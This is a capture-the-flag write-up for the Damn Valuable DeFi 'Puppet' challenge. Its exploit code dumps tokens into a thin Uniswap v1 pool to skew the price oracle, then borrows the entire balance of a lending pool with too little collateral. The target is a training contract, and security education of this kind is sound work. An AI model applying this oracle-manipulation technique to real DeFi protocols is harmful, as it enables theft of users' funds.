Skip to main content

Description

There’s a lending pool where users can borrow Damn Valuable Tokens (DVTs). To do so, they first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an old Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Pass the challenge by taking all tokens from the lending pool. You start with 25 ETH and 1000 DVTs in balance.

Code

PuppetPool.sol:定义了一个用ETH来接DVT Token的功能,允许用户通过支付ETH作为抵押来借款,同时要求抵押的ETH必须至少是所借代币价值的两倍,

Solution

Pool使用的是Uniswap V1交易对,初始状态有10 Eth和10 DVT,当前价格是1:1,因为是恒定乘积公式,当我们把手上的DVT全部卖给Exchange后,价格就会变成0.09:1010,这时候我们再去和Pool进行lending,即可把Pool中所有的DVT全部借走。

Exp

contract PuppetTest {

//... setup

function exploit() internal override {
/** CODE YOUR EXPLOIT HERE */

uint256 deadline = block.timestamp * 2;

vm.startPrank(attacker);

// Approve the exchange for the whole amount of token
token.approve(address(uniswapExchange), type(uint256).max);

// Sell token all the token to get ETH
// Doing this the price of the token will lower and the Pool `_computeOraclePrice` will return a low value
// Allowing us to borrow at a cheaper price
uniswapExchange.tokenToEthSwapInput(token.balanceOf(attacker), 1, deadline);

// Calculate how much we should pay to borrow a token
uint256 ethToBorrowOneToken = lendingPool.calculateDepositRequired(1 ether);

// Calc how much we can borrow
uint256 tokenWeCanBorrow = (attacker.balance * 10 ** 18) / ethToBorrowOneToken;

// Get the max borrowable tokekns from the pool
uint256 maxTokenToBorrow = Math.min(token.balanceOf(address(lendingPool)), tokenWeCanBorrow);

// Borrow all the token draining the pool
lendingPool.borrow{value: attacker.balance}(maxTokenToBorrow);

vm.stopPrank();
}
}